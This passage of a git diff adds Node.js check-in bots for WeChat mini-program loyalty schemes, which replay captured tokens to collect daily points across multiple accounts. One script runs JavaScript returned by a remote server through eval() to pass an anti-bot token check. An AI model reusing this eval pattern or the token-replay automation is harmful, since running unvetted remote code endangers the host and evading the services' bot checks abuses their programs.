Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) { new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))) } return t } msg(title = t, subtitle = "", body = "", options) { const formatOptions = (options) => { if (!options) { return options } else if (typeof options === "string") { if (this.isQuanX()) { return { "open-url": options } } else { return undefined } } else if (typeof options === "object" && (options["open-url"] || options["media-url"])) { if (this.isQuanX()) { return options } else { return undefined } } else { return undefined } }; if (!this.isMute) { if (this.isQuanX()) { $notify(title, subtitle, body, formatOptions(options)) } } let logs = ["", "==============📣系统通知📣=============="]; logs.push(title); subtitle ? logs.push(subtitle) : ""; body ? logs.push(body) : ""; console.log(logs.join("\n")); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isQuanX(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`); this.log(); if (this.isNode()) { process.exit(1) } if (this.isQuanX()) { $done(t) } } })(t, s) } + +async function Request(options) { + if ($.isNode()) { + const axios = require("axios"); + Request = async (options) => { + try { + return await axios.request(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + if ($.isQuanX()) { + Request = async (options) => { + try { + return await $task.fetch(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + return await Request(options); +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/益禾堂/2026-04-12_yht_3f2d67f0.js b/脚本库/微信小程序/抓包版/益禾堂/2026-04-12_yht_3f2d67f0.js new file mode 100644 index 0000000..ececfe0 --- /dev/null +++ b/脚本库/微信小程序/抓包版/益禾堂/2026-04-12_yht_3f2d67f0.js @@ -0,0 +1,260 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/yht.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/yht.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/yht.js +// # UploadedAt: 2026-04-12T06:41:36Z +// # SHA256: 3f2d67f0b71391331c9cc40ea43a3b49855e4fbefc611dd27988f1974cb41533 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: +@cron: 30 8 * * * +------------------------------------------ +益禾堂 qm-user-token +------------------------------------------ + +*/ +window = {} +const { + Env +} = require("../tools/env") +const $ = new Env("益禾堂"); +let ckName = `yht`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = this.user[0]; + this.activityUrl = '' + + } + + async run() { + + await this.getLoginUrl() + + await this.getActivityToken() + let key = await this.getActivityKey() + await this.doSign(key) + + } + async getLoginUrl() { + let options = { + method: 'POST', + url: `https://webapi.qmai.cn/web/catering/crm/member/redirect`, + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027', + 'Accept': 'v=1.0', + 'Content-Type': 'application/json', + 'xweb_xhr': '1', + 'gdt-vid': '', + 'work-staff-name': '', + 'channelcode': '', + 'work-wechat-userid': '', + 'qz-gtd': '', + 'qm-from-type': 'catering', + 'accept-language': 'zh-CN', + 'scene': '1101', + 'qm-from': 'wechat', + 'qm-user-token': '' + this.token, + 'work-staff-id': '', + 'multi-store-id': '', + 'store-id': '203009', + 'promotion-code': '', + 'sec-fetch-site': 'cross-site', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://servicewechat.com/wx4080846d0cec2fd5/517/page-frame.html', + 'priority': 'u=1, i' + }, + data: { + "redirectUrl": "https://86019.activity-12.m.duiba.com.cn/chw/visual-editor/skins?id=203576", + "appid": "wx4080846d0cec2fd5" + } + } + let { + data: result + } = await axios.request(options); + if (result.data && result.status) { + this.activityUrl = result.data + return result.data + + } + + + + } + ObjectKeys2LowerCase(e) { return e = Object.fromEntries(Object.entries(e).map((([e, t]) => [e.toLowerCase(), t]))), new Proxy(e, { get: function (e, t, r) { return Reflect.get(e, t.toLowerCase(), r) }, set: function (e, t, r, n) { return Reflect.set(e, t.toLowerCase(), r, n) } }) } + + async getActivityToken() { + + + const opts = { + method: "GET", + url: this.activityUrl, + maxRedirects: 0, + // 关键点 2: 默认 Axios 认为非 2xx 是错误,需定义 302 为合法状态 + validateStatus: function (status) { + return status >= 200 && status < 400; // 允许 302 (或 3xx) 进入 .then + }, + headers: {} + } + let res = await axios.request(opts); + + let headers = this.ObjectKeys2LowerCase(res?.headers); + //对青龙进行兼容 + let session = Array.isArray(headers['set-cookie']) ? [...new Set(headers['set-cookie'])].join("") : headers['set-cookie']; + + let [wdata4, w_ts, _ac, wdata3, dcustom] = session.match(/(wdata4|w_ts|_ac|wdata3|dcustom)=.+?;/g) + this.session = wdata4 + w_ts + _ac + wdata3 + dcustom; + $.log(`✅ 获取活动token成功!`) + + + + } + async getActivityKey() { + + let options = { + method: 'POST', + url: `https://86019-activity.dexfu.cn/chw/ctoken/getToken`, + headers: { + 'Content-type': 'application/x-www-form-urlencoded', + 'Cookie': this.session, + }, + data: { + timestamp: Date.now(), + + } + + } + let { + data: result + } = await axios.request(options); + if (result.success) { + // 自动修复:将旧式八进制 (如 0123) 替换为现代写法 (0o123) + // 匹配以 0 开头后面跟数字,且不含 x (十六进制) 或 b (二进制) 的部分 + const fixedCode = result.token.replace(/\b0([0-7]+)\b/g, '0o$1'); + eval(fixedCode) + return window['620fa72t'] + + } + } + async doSign(key) { + let data = ({ + 'signOperatingId': '326649747164581', + 'token': '' + key + }); + + let options = { + method: 'POST', + url: 'https://86019-activity.dexfu.cn/sign/component/doSign?_=' + Date.now(), + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249', + 'Accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/x-www-form-urlencoded', + 'origin': 'https://86019-activity.dexfu.cn', + 'sec-fetch-site': 'same-origin', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://86019-activity.dexfu.cn/sign/component/page?signOperatingId=326649747164581', + 'accept-language': 'zh-CN,zh;q=0.9', + 'Cookie': this.session + }, + data: data + }; + let { + data: result + } = await axios.request(options); + console.log(result); + + /*if (result.success) { + $.log(`✅ 签到成功!获得${result.data.signResult}积分`) + }*/ + + } + /** +* 通用 eval 混淆解密函数(动态执行劫持) +* @param {string} obfuscatedCode - 原始的混淆代码 +* @returns {string} - 解密后的真实代码 +*/ + decryptByHookingEval(obfuscatedCode) { + let decryptedCode = ""; + + // 1. 备份系统原生的 eval + const originalEval = globalThis.eval; + + try { + // 2. 劫持全局 eval 函数 + globalThis.eval = function (payload) { + decryptedCode = payload; // 将解密后的字符串保存下来 + // 重要:不往下执行原生的 eval,从而阻止危险/恶意代码实际运行 + }; + + // 3. 构造一个沙箱函数并执行混淆代码的外壳 + // 外壳代码会执行所有的解密运算,并最终调用我们上面劫持的 eval() + const runner = new Function(obfuscatedCode); + runner(); + + } catch (error) { + console.error("执行解密外壳时发生错误:", error); + } finally { + // 4. 无论成功与否,务必恢复系统的 eval,避免影响其他正常业务 + globalThis.eval = originalEval; + } + + return decryptedCode || "未能拦截到 eval 调用,可能代码结构不适用此方法。"; + } + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + console.log(`1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。`) + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/盖瑞特后市场/2025-06-28_盖瑞特后市场_b29d74fc.js b/脚本库/微信小程序/抓包版/盖瑞特后市场/2025-06-28_盖瑞特后市场_b29d74fc.js new file mode 100644 index 0000000..52ce3c2 --- /dev/null +++ b/脚本库/微信小程序/抓包版/盖瑞特后市场/2025-06-28_盖瑞特后市场_b29d74fc.js @@ -0,0 +1,73 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E7%9B%96%E7%91%9E%E7%89%B9%E5%90%8E%E5%B8%82%E5%9C%BA.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E7%9B%96%E7%91%9E%E7%89%B9%E5%90%8E%E5%B8%82%E5%9C%BA.js +// # Repo: jdqlscript/toulu +// # Path: 盖瑞特后市场.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: b29d74fc9baa9f2cf96e1e36d8598ed28ed667c0e4c79df9b03750e2ac8bf8d4 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +盖瑞特后市场 +入口:http://weixin.qq.com/q/02TSy-4ATzbKe1CDzRND1D +变量名:grtck +依赖require +*/ +const axios = require('axios'); + +async function main() { + try { + const externalUrl = 'https://github.com/3288588344/toulu/raw/refs/heads/main/tl.txt'; + const externalResponse = await axios.get(externalUrl); + + console.log('公告:', externalResponse.data); + + + if (externalResponse.status === 200) { + console.log('公告获取成功,开始执行签到请求...'); + + + const cookies = process.env.grtck.split(','); + const url = 'https://app.ma.scrmtech.com/svip/index/SignSet'; + const headers = { + 'Host': 'app.ma.scrmtech.com', + 'sec-ch-ua-platform': '"Android"', + 'x-requested-with': 'XMLHttpRequest', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/130.0.6723.103 Mobile Safari/537.36 XWEB/1300333 MMWEBSDK/20240801 MMWEBID/3628 MicroMessenger/8.0.51.2720(0x28003339) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64', + 'accept': 'application/json, text/javascript, /; q=0.01', + 'sec-ch-ua': '"Chromium";v="130", "Android WebView";v="130", "Not?A_Brand";v="99"', + 'sec-ch-ua-mobile': '?1', + 'sec-fetch-site': 'same-origin', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://app.ma.scrmtech.com/svip/index/sign?pf_uid=26989_2051&pf_type=3&code=051soVll2z7FUe4Qaqnl2067es2soVlE&state=&appid=wx3b54c4b113f78be5', + 'accept-encoding': 'gzip, deflate, br, zstd', + 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'cookie': cookies.join('; '), + }; + + + const signInResponse = await axios.get(url, { headers }); + + + const { data } = signInResponse; + if (data.code === 30005) { + console.log('签到成功'); + } else if (data.code === 0) { + console.log('今日已签到,每天再试试吧'); + } + } else { + console.log('公告获取失败,HTTP 状态码:', externalResponse.status); + } + + } catch (error) { + console.error('发生错误:', error.message); + } +} + + +main(); +/* +TL库 +*/ diff --git a/脚本库/微信小程序/抓包版/睿蓝汽车/2026-04-01_ruilanCar_bbf9ecc4.js b/脚本库/微信小程序/抓包版/睿蓝汽车/2026-04-01_ruilanCar_bbf9ecc4.js new file mode 100644 index 0000000..45b1df3 --- /dev/null +++ b/脚本库/微信小程序/抓包版/睿蓝汽车/2026-04-01_ruilanCar_bbf9ecc4.js @@ -0,0 +1,519 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/ruilanCar.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/ruilanCar.js +// # Repo: smallfawn/QLScriptPublic +// # Path: ruilanCar.js +// # UploadedAt: 2026-04-01T11:27:33Z +// # SHA256: bbf9ecc479b7d6bed5fad99dc690124ce32bc3f64bd0313f229eb71cbc94bd2c +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/** + * cron 32 17 * * * + * Show:睿蓝汽车APP 或者小程序 一天7分左右 积分换实物 + * 变量名:ruilanCar + * 变量值:https://api-gateway.livanauto.com/app/ Headers中的aid的值 # rid的值 #连接 多账户 & 或创建同名变量 + * scriptVersionNow = "0.0.1"; + */ + +const $ = new Env("睿蓝汽车"); +const notify = $.isNode() ? require('./sendNotify') : ''; +let ckName = "ruilanCar"; +let envSplitor = ["&", "\n"]; //多账号分隔符 +let strSplitor = "#"; //多变量分隔符 +let userIdx = 0; +let userList = []; +class Task { + constructor(str) { + this.index = ++userIdx; + this.aid = str.split(strSplitor)[0]; + this.rid = str.split(strSplitor)[1]; + this.ckStatus = true; + this.contentList = [] + this.essayList = [] + } + async main() { + await this.user_info() + if (this.ckStatus == true) { + await this.content_list(); + //console.log(this.contentList) + if (this.contentList.length > 0) { + for (let i = 0; i < 5; i++) { + await this.task_like(this.contentList[0].id) + } + } + await this.essay_list() + if (this.essayList.length > 0) { + for (let i = 0; i < 5; i++) { + await this.task_share(this.essayList[i].id) + + } + } + } + + } + async taskRequest(method, url, body = "") { + // + let headers = { + "user-agent": "Dart/2.19 (dart:io)", + "x-app-id": "fVbEaznM", + "service-version": "2.16.5", + "accept-encoding": "gzip", + "aid": this.aid, + "content-type": "application/json", + "signinsource": "client_ios", + "version": "", + //"content-length": "33", + "rid": this.rid, + "host": "api-gateway.livanauto.com", + "x-timestamp": Date.now(), + "x-sequence-no": "q193JPARcnfIVizYzt3IZ" + } + const reqeuestOptions = { + url: url, + method: method, + headers: headers + } + if (method !== "get") { + if (headers["Content-Type"] == "application/json") { + reqeuestOptions["body"] = JSON.stringify(body); + } else { + reqeuestOptions["body"] = body + } + } + let { body: result } = await $.httpRequest(reqeuestOptions) + return result + } + async essay_list() { + let result = await this.taskRequest("get", `https://api-gateway.livanauto.com/app/v1.0/appapi/content/subject/appSubject?current=1&subjectId=36&essayCurrent=1&pageSize=20`) + if (result.code == 0) { + for (let art of result.data.records[0].essay) { + this.essayList.push({ id: art.essayId, text: art.title }) + } + + } + } + + async content_list() { + let result = await this.taskRequest("get", `https://api-gateway.livanauto.com/app/v1.0/appapi/content/content/pageBetter?current=1&size=10&createBy×tamp=${Date.now()}`) + if (result.code == 0) { + for (let art of result.data.records) { + if (art.thumb == false) { + this.contentList.push({ id: art.contentId, text: art.contentDesc }) + } + } + } + } + + async user_info() { + let result = await this.taskRequest("get", `https://api-gateway.livanauto.com/app/v1.0/appapi/common/user/getUserToFml`) + if (result.code == 0) { + $.log(`[${result.data.nickName}]积分[${result.data.integralCount}]`) + this.ckStatus = true + } else { + this.ckStatus = false + $.log(result) + } + } + async task_share(id) { + let result = await this.taskRequest(`post`, `https://api-gateway.livanauto.com/app/v1.0/appapi/content/essayshare/add`, { "essayId": id }) + result.code == 0 ? (result.data.result == true ? $.log(`分享成功`) : $.log(`分享失败`)) : $.log(`分享失败`) + } + async task_like(id) { + let result = await this.taskRequest(`post`, `https://api-gateway.livanauto.com/app/v1.0/appapi/content/contentthumbs/thumb`, { "contentId": id }) + result.code == 0 ? (result.data.result == true ? $.log(`点赞成功`) : $.log(`点赞失败`)) : $.log(`点赞失败`) + } +} + +async function start() { + let taskall = []; + for (let user of userList) { + if (user.ckStatus) { + taskall.push(await user.main()); + } + } + await Promise.all(taskall); +} + +!(async () => { + if (!(await checkEnv())) return; + if (userList.length > 0) { + await start(); + } + await $.sendMsg($.logs.join("\n")) +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +//******************************************************** +/** + * 变量检查与处理 + * @returns + */ +async function checkEnv() { + let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ""; + if (userCookie) { + let e = envSplitor[0]; + for (let o of envSplitor) + if (userCookie.indexOf(o) > -1) { + e = o; + break; + } + for (let n of userCookie.split(e)) n && userList.push(new Task(n)); + } else { + console.log("未找到CK"); + return; + } + return console.log(`共找到${userList.length}个账号`), true; //true == !0 +} +function Env(t, s) { + return new (class { + constructor(t, s) { + this.name = t; + this.data = null; + this.dataFile = "box.dat"; + this.logs = []; + this.logSeparator = "\n"; + this.startTime = new Date().getTime(); + Object.assign(this, s); + this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`); + } + isNode() { + return "undefined" != typeof module && !!module.exports; + } + isQuanX() { + return "undefined" != typeof $task; + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon; + } + isLoon() { + return "undefined" != typeof $loon; + } + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"); + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s); + if (!e && !i) return {}; + { + const i = e ? t : s; + try { + return JSON.parse(this.fs.readFileSync(i)); + } catch (t) { + return {}; + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"); + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s), + o = JSON.stringify(this.data); + e ? this.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o); + } + } + lodash_get(t, s, e) { + const i = s.replace(/\[(\d+)\]/g, ".$1").split("."); + let o = t; + for (const t of i) if (((o = Object(o)[t]), void 0 === o)) return e; + return o; + } + lodash_set(t, s, e) { + return Object(t) !== t + ? t + : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), + (s + .slice(0, -1) + .reduce( + (t, e, i) => + Object(t[e]) === t[e] + ? t[e] + : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {}), + t + )[s[s.length - 1]] = e), + t); + } + getdata(t) { + let s = this.getval(t); + if (/^@/.test(t)) { + const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t), + o = e ? this.getval(e) : ""; + if (o) + try { + const t = JSON.parse(o); + s = t ? this.lodash_get(t, i, "") : s; + } catch (t) { + s = ""; + } + } + return s; + } + setdata(t, s) { + let e = !1; + if (/^@/.test(s)) { + const [, i, o] = /^@(.*?)\.(.*?)$/.exec(s), + h = this.getval(i), + a = i ? ("null" === h ? null : h || "{}") : "{}"; + try { + const s = JSON.parse(a); + this.lodash_set(s, o, t), (e = this.setval(JSON.stringify(s), i)); + } catch (s) { + const h = {}; + this.lodash_set(h, o, t), (e = this.setval(JSON.stringify(h), i)); + } + } else e = this.setval(t, s); + return e; + } + getval(t) { + if (this.isSurge() || this.isLoon()) { + return $persistentStore.read(t); + } else if (this.isQuanX()) { + return $prefs.valueForKey(t); + } else if (this.isNode()) { + this.data = this.loaddata(); + return this.data[t]; + } else { + return this.data && this.data[t] || null; + } + } + setval(t, s) { + if (this.isSurge() || this.isLoon()) { + return $persistentStore.write(t, s); + } else if (this.isQuanX()) { + return $prefs.setValueForKey(t, s); + } else if (this.isNode()) { + this.data = this.loaddata(); + this.data[s] = t; + this.writedata(); + return true; + } else { + return this.data && this.data[s] || null; + } + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"); + this.cktough = this.cktough ? this.cktough : require("tough-cookie"); + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar(); + if (t) { + t.headers = t.headers ? t.headers : {}; + if (typeof t.headers.Cookie === "undefined" && typeof t.cookieJar === "undefined") { + t.cookieJar = this.ckjar; + } + } + } + /** + * @param {Object} options + * @returns {String} 将 Object 对象 转换成 queryStr: key=val&name=senku + */ + queryStr(options) { + return Object.entries(options) + .map(([key, value]) => `${key}=${typeof value === 'object' ? JSON.stringify(value) : value}`) + .join('&'); + } + //从url获取参数组成json + getURLParams(url) { + const params = {}; + const queryString = url.split('?')[1]; + if (queryString) { + const paramPairs = queryString.split('&'); + paramPairs.forEach(pair => { + const [key, value] = pair.split('='); + params[key] = decodeURIComponent(value); + }); + } + return params; + } + isJSONString(str) { + try { + var obj = JSON.parse(str); + if (typeof obj == 'object' && obj) { + return true; + } else { + return false; + } + } catch (e) { + return false; + } + } + isJson(obj) { + var isjson = typeof (obj) == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; + return isjson; + } + async sendMsg(message) { + if (!message) return; + if ($.isNode()) { + await notify.sendNotify($.name, message) + } else { + $.msg($.name, '', message) + } + } + async httpRequest(options) { + let t = { + ...options + }; + if (!t.headers) { + t.headers = {} + } + if (t.params) { + t.url += '?' + this.queryStr(t.params); + } + t.method = t.method.toLowerCase(); + if (t.method === 'get') { + delete t.headers['Content-Type']; + delete t.headers['Content-Length']; + delete t.headers['content-type']; + delete t.headers['content-length']; + delete t["body"] + } + if (t.method === 'post') { + let ContentType; + if (!t.body) { + t.body = "" + } else { + if (typeof t.body == "string") { + if (this.isJSONString(t.body)) { + ContentType = 'application/json' + } else { + ContentType = 'application/x-www-form-urlencoded' + } + } else if (this.isJson(t.body)) { + t.body = JSON.stringify(t.body); + ContentType = 'application/json'; + } + } + if (!t.headers['Content-Type'] || !t.headers['content-type']) { + t.headers['Content-Type'] = ContentType; + } + delete t.headers['Content-Length']; + } + if (this.isNode()) { + this.initGotEnv(t); + let httpResult = await this.got(t); + if (this.isJSONString(httpResult.body)) { + httpResult.body = JSON.parse(httpResult.body) + } + return httpResult; + } + if (this.isQuanX()) { + t.method = t.method.toUpperCase() + return new Promise((resolve, reject) => { + $task.fetch(t).then(response => { + if (this.isJSONString(response.body)) { + response.body = JSON.parse(response.body) + } + resolve(response) + }) + }) + } + } + randomNumber(length) { + const characters = '0123456789'; + return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join(''); + } + randomString(length) { + const characters = 'abcdefghijklmnopqrstuvwxyz0123456789'; + return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join(''); + } + timeStamp() { + return new Date().getTime() + } + uuid() { + return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, + v = c == 'x' ? r : (r & 0x3 | 0x8); + return v.toString(16); + }); + } + time(t) { + let s = { + "M+": new Date().getMonth() + 1, + "d+": new Date().getDate(), + "H+": new Date().getHours(), + "m+": new Date().getMinutes(), + "s+": new Date().getSeconds(), + "q+": Math.floor((new Date().getMonth() + 3) / 3), + S: new Date().getMilliseconds(), + }; + /(y+)/.test(t) && + (t = t.replace( + RegExp.$1, + (new Date().getFullYear() + "").substr(4 - RegExp.$1.length) + )); + for (let e in s) + new RegExp("(" + e + ")").test(t) && + (t = t.replace( + RegExp.$1, + 1 == RegExp.$1.length + ? s[e] + : ("00" + s[e]).substr(("" + s[e]).length) + )); + return t; + } + msg(s = t, e = "", i = "", o) { + const h = (t) => + !t || (!this.isLoon() && this.isSurge()) + ? t + : "string" == typeof t + ? this.isLoon() + ? t + : this.isQuanX() + ? { "open-url": t } + : void 0 + : "object" == typeof t && (t["open-url"] || t["media-url"]) + ? this.isLoon() + ? t["open-url"] + : this.isQuanX() + ? t + : void 0 + : void 0; + this.isMute || + (this.isSurge() || this.isLoon() + ? $notification.post(s, e, i, h(o)) + : this.isQuanX() && $notify(s, e, i, h(o))); + let logs = ['', '==============📣系统通知📣==============']; + logs.push(t); + e ? logs.push(e) : ''; + i ? logs.push(i) : ''; + console.log(logs.join('\n')); + this.logs = this.logs.concat(logs); + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)); + } + logErr(t, s) { + const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + e + ? this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) + : this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t); + } + wait(t) { + return new Promise((s) => setTimeout(s, t)); + } + done(t = {}) { + const s = new Date().getTime(), + e = (s - this.startTime) / 1e3; + this.log( + "", + `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2` + ) + this.log() + if (this.isNode()) { + process.exit(1) + } + if (this.isQuanX()) { + $done(t) + } + } + })(t, s); +} diff --git a/脚本库/微信小程序/抓包版/立乐家会员俱乐部/2026-04-08_llj_268c1523.js b/脚本库/微信小程序/抓包版/立乐家会员俱乐部/2026-04-08_llj_268c1523.js new file mode 100644 index 0000000..fffba00 --- /dev/null +++ b/脚本库/微信小程序/抓包版/立乐家会员俱乐部/2026-04-08_llj_268c1523.js @@ -0,0 +1,160 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/llj.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/llj.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/llj.js +// # UploadedAt: 2026-04-08T05:56:39Z +// # SHA256: 268c15238c39ed7f628cf9b6d0df341e4810456fc65acda3d3b372888a4e349e +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: 立乐家会员俱乐部 +cron: 30 10 * * * +------------------------------------------ +#Notice: +变量名 lljtoken 填写的是 +域名https://clubwx.hm.liby.com.cn/miniprogram 请求头 unionid # x-wxb9f68ca2da513bb2-token +多账户&或换行 +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { + Env +} = require("../tools/env") +const $ = new Env("立乐家会员俱乐部"); +let ckName = `lljtoken`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = this.user[1]; + this.unionid = this.user[0]; + + } + + async run() { + await this.getUserInfo() + await this.signIn() + } + + async signIn() { + let options = { + method: 'POST', + url: `https://clubwx.hm.liby.com.cn/miniprogram/benefits/activity/sign/execute.htm?taskId=503`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "appid": "wxb9f68ca2da513bb2", + "content-type": "application/json", + "platformcode": "LiLeJia", + "priority": "u=1, i", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site", + "unionid": "" + this.unionid, + "x-wxb9f68ca2da513bb2-token": "" + this.token, + "xweb_xhr": "1" + }, + data: { + + } + }; + let { + data: result + } = await axios.request(options); + if (result?.code == '200') { + //打印签到结果 + $.log(`🌸账号[${this.index}]` + `签到成功🎉`); + } else { + $.log(`🌸账号[${this.index}] 签到-失败:${result.msg}❌`) + } + + + + + } + async getUserInfo() { + + let options = { + url: 